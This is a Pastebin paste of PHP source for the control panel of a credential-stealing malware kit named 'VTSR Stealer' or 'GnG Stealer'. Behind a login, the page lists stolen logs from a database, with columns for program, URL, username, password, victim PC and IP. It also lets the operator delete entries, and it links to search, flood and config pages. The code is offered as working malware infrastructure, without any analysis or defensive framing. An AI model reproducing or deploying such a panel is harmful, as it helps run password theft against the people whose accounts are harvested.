Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /************************************************
- * < -- VelupsA TistO SakiiR RegencY -- > *
- * VTSR Stealer ( C++ / C# / PHP ) *
- ************************************************/
- session_start();
- include_once("etc/function.php");
- include_once("inc/bdd.php");
- function pages_number($nbMax)
- {
- $result = mysql_query('SELECT COUNT(*) AS number FROM logs') or die('Failed TO send Query');
- $data = mysql_fetch_array($result);
- $nbLogs = $data['number'];
- $nbPage = ceil($nbLogs / $nbMax);
- return $nbPage;
- }
- if(!isset($_SESSION['username']))
- {
- redire("login.php");
- }
- if(isset($_POST["sel"]) && count($_POST["sel"]) != 0)
- {
- $query = "DELETE FROM `logs` WHERE";
- for ($i=0; $i<count($_POST["sel"]); $i++)
- {
- if (is_numeric($_POST["sel"][$i]))
- {
- $query .= " `id` = ".$_POST["sel"][$i]." OR";
- }
- }
- $query .= ';';
- $query = str_replace(' OR;', ';', $query);
- mysql_query($query);
- }
- if(isset($_GET['id']))
- {
- if(is_numeric($_GET['id']))
- {
- $res = mysql_query("SELECT COUNT(*) FROM logs");
- $element_total = mysql_result($res, 0);
- $nbPageMax = 10;
- $num = $nbPageMax * $_GET['id'];
- $nbPage = pages_number($nbPageMax);
- }else redire("index.php?id=0");
- }else redire("index.php?id=0");
- ?>
- <!doctype html>
- <html lang="fr">
- <head>
- <title>GnG Stealer</title>
- <link rel="stylesheet" href="css/style.css">
- <link rel="stylesheet" href="css/menu.css">
- <script>
- function checkAll()
- {
- chk = document.getElementsByName("sel[]");
- for (i = 0; i<chk.length; i++)
- {
- if (document.checkboxes.elements["check_all"].checked)
- {
- chk[i].checked = true;
- }else
- {
- chk[i].checked = false;
- }
- }
- }
- </script>
- </head>
- <body>
- <div id="title">GnG Stealer</div>
- <center>
- <div class='ribbon'>
- <a href='index.php'><span>Logs</span></a>
- <a href='search.php?id=1'><span>Search</span></a>
- <a href='flood.php'><span>Flood</span></a>
- <a href='config.php'><span>Config</span></a>
- <a href='about.php'><span>About</span></a>
- <a href='logout.php'><span>Logout</span></a>
- </div>
- </center>
- <br/>
- <hr color="#A6A5AD"/>
- <br/>
- <center>
- <form name ="checkboxes"method="POST" action="">
- <table>
- <tr>
- <th>Program</th>
- <th>URL</th>
- <th>Username</th>
- <th>Password</th>
- <th>PC</th>
- <th>Date</th>
- <th>IP</th>
- <th>Delete ?<br/><input type='checkbox' name='check_all' onClick='checkAll();'></th>
- </tr>
- <?php
- $res = mysql_query("SELECT * FROM logs ORDER BY id DESC LIMIT ".$num.",".$nbPageMax." ");
- $i = 0;
- while($data = mysql_fetch_array($res))
- {
- echo "<tr>";
- echo "<td><img src='images/".$data["program"].".png'/></td>";
- echo "<td><a href='".$data["url"]."'>".$data["url"]."</a></td>";
- echo "<td>".$data["username"]."</td>";
- echo "<td>".$data["password"]."</td>";
- echo "<td>".$data["pc"]."</td>";
- echo "<td>".$data["date"]."</td>";
- echo "<td>".$data["ip"]."</td>";
- echo "<td><input type='checkbox' name='sel[]' value='".$data["id"]."'></td>";
- $i = $i + 1;
- }
- if($i==0) echo "<span class='no_logs'>No Logs</span>";
- ?>
- </table>
- <input type="submit" name="submit" value="Delete Selected"/>
- </form>
- <br/>
- <?php
- $i=0;
- while($i < $nbPage)
- {
- echo "<a class='page' href='index.php?id=$i'>$i</a>";
- $i++;
- }
- ?>
- <br/> <br/><br/>
- </center>
- <noscript>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment